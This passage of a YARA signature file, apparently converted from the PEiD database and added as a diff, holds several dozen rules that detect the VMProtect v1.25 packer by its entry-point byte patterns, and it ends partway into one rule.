+rule PEiD_02801_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 50 52}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02802_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 50 52 51 9C 57 53 52 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02803_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 50 57 52 51 9C 53 56 54 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 24 85 ?? ?? ?? ?? 8B 06 83 ED 04 89 45 00 83 C6 04 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02804_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 50 9C 56 52 51 53 51 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02805_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 51 50 52 57 53 9C 50 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02806_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 51 50 53 53 52 57 9C 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 8B 6D 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02807_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 51 52 50 56 53 57 9C 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 89 E8 83 ED 04 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02808_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 51 52 53 50 9C 57 56 54 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 04 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02809_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 51 53 51 56 52 9C 57 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02810_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 51 53 57 52 57 56 50 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02811_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 51 9C 53 51 52 50 56 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02812_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 51 9C 53 56 50 56 57 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02813_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 51 9C 57 56 52 50 56 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 36 8B 00 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02814_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 52 56 53 57 51 52 9C 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02815_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 52 57 50 9C 53 56 52 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 24 85 ?? ?? ?? ?? 8B 45 00 8B 55 04 83 C5 08 89 10 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02816_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 52 57 51 56 53 57 50 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02817_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 53 51 51 56 50 52 57 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 24 85 ?? ?? ?? ?? 8B 45 00 8B 00 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02818_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 53 52 50 56 56 9C 51 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_02819_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 53 52 9C 57 56 50 53 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 8D 0C 85 ?? ?? ?? ?? FF 21 8B 75 00 83 C5 04 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02820_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 56 52 57 50 55 53 9C 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 24 85 ?? ?? ?? ?? 8A 06 46 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02821_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 56 57 51 52 53 53 9C 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8A 55 04 83 C5 06 88 10 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02822_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 56 57 53 52 50 51 55 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02823_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 57 50 52 53 52 51 9C 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 00 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02824_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 57 50 56 51 52 53 50 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 8B 45 00 8A 55 04 83 C5 06 88 10 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02825_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 57 51 9C 56 53 51 50 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02826_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 57 52 51 9C 53 53 50 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02827_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 57 9C 51 56 53 52 50 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 04 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02828_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 57 9C 53 51 50 52 51 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 75 00 83 C5 04 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02829_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 9C 51 55 56 53 52 50 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02830_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 9C 52 51 50 53 53 56 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 45 00 01 45 04 9C 8F 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02831_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 9C 52 51 57 53 56 54 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 06 83 ED 04 8D 76 04 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02832_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 9C 52 53 50 51 51 57 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_02833_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 9C 53 50 54 57 51 56 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 36 8B 00 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02834_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 9C 56 50 51 53 52 57 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02835_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 9C 57 51 50 52 53 56 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02836_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 9C 57 56 50 52 53 51 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 04 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02837_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 50 51 53 57 52 9C 51 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 8D 0C 85 ?? ?? ?? ?? FF 21 66 8B 6D 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02838_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 50 52 9C 52 51 57 53 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 45 00 8B 55 04 83 C5 08 36 89 10 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02839_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 50 53 9C 51 57 52 57 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 24 85 ?? ?? ?? ?? 66 8B 6D 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02840_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 50 55 50 52 51 57 53 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02841_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 50 55 51 53 50 52 9C 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02842_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 50 57 9C 51 53 52 50 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02843_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 51 51 52 55 57 9C 53 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02844_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 51 53 54 57 55 50 9C 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02845_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 51 57 56 52 55 50 53 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02846_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 51 9C 57 52 50 50 53 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 8B 45 00 83 C5 02 66 8B 00 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02847_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 52 50 53 51 57 9C 57 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 36 8B 00 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02848_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 52 55 50 57 51 53 9C 54 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 C6 01 0F B6 C0 FF 24 85 ?? ?? ?? ?? 89 E8 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02849_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 52 55 50 9C 51 57 53 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF 8D 0C 85 ?? ?? ?? ?? FF 21 8B 75 00 83 C5 04 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02850_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 52 57 53 57 55 9C 51 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 24 85 ?? ?? ?? ?? 66 8B 6D 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02851_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 52 9C 55 53 51 50 51 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02852_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 52 9C 57 51 55 55 53 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 8B 45 00 83 C5 02 66 8B 00 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02853_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 53 51 50 53 9C 57 52 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 89 E8 83 ED 04 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02854_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 53 51 52 9C 55 57 51 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 04 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02855_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 53 51 55 52 9C 57 50 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 8A 06 8A 04 07 46 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02856_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 53 51 55 53 9C 57 52 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 0F B6 06 66 98 98 46 83 ED 04 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02857_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 53 51 55 9C 51 50 57 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02858_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
